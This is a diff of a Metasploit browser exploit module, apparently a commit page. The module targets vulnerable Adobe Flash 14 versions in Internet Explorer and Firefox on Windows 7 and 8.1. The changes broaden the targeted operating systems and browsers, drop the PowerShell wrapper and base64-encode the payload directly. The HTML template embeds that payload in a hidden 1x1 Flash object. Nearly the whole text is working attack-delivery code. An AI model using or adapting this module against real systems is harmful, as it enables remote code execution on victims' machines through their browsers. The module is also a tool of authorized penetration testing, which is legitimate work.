|
6 | 6 | require 'msf/core'
|
7 | 7 |
|
8 | 8 | class Metasploit3 < Msf::Exploit::Remote
|
9 |
| - Rank = NormalRanking |
| 9 | + Rank = GreatRanking |
10 | 10 |
|
11 |
| - include Msf::Exploit::Powershell |
12 | 11 | include Msf::Exploit::Remote::BrowserExploitServer
|
13 | 12 |
|
14 | 13 | def initialize(info={})
|
@@ -47,9 +46,12 @@ def initialize(info={})
|
47 | 46 | 'BrowserRequirements' =>
|
48 | 47 | {
|
49 | 48 | :source => /script|headers/i,
|
50 |
| - :os_name => OperatingSystems::Match::WINDOWS_7, |
51 |
| - :ua_name => Msf::HttpClients::IE, |
52 |
| - :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') }, |
| 49 | + :os_name => lambda do |os| |
| 50 | + os =~ OperatingSystems::Match::WINDOWS_7 || |
| 51 | + os =~ OperatingSystems::Match::WINDOWS_81 |
| 52 | + end, |
| 53 | + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, |
| 54 | + :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.179') }, |
53 | 55 | :arch => ARCH_X86
|
54 | 56 | },
|
55 | 57 | 'Targets' =>
|
@@ -82,17 +84,18 @@ def on_request_exploit(cli, request, target_info)
|
82 | 84 | def exploit_template(cli, target_info)
|
83 | 85 | swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
84 | 86 | target_payload = get_payload(cli, target_info)
|
85 |
| - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) |
86 |
| - b64_payload = Rex::Text.encode_base64(psh_payload) |
| 87 | + b64_payload = Rex::Text.encode_base64(target_payload) |
| 88 | + platform_id = 'win' |
| 89 | + os_name = target_info[:os_name] |
87 | 90 |
|
88 | 91 | html_template = %Q|<html>
|
89 | 92 | <body>
|
90 | 93 | <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
91 | 94 | <param name="movie" value="<%=swf_random%>" />
|
92 | 95 | <param name="allowScriptAccess" value="always" />
|
93 |
| - <param name="FlashVars" value="sh=<%=b64_payload%>" /> |
| 96 | + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> |
94 | 97 | <param name="Play" value="true" />
|
95 |
| - <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> |
| 98 | + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> |
96 | 99 | </object>
|
97 | 100 | </body>
|
98 | 101 | </html>
|
|
0 commit comments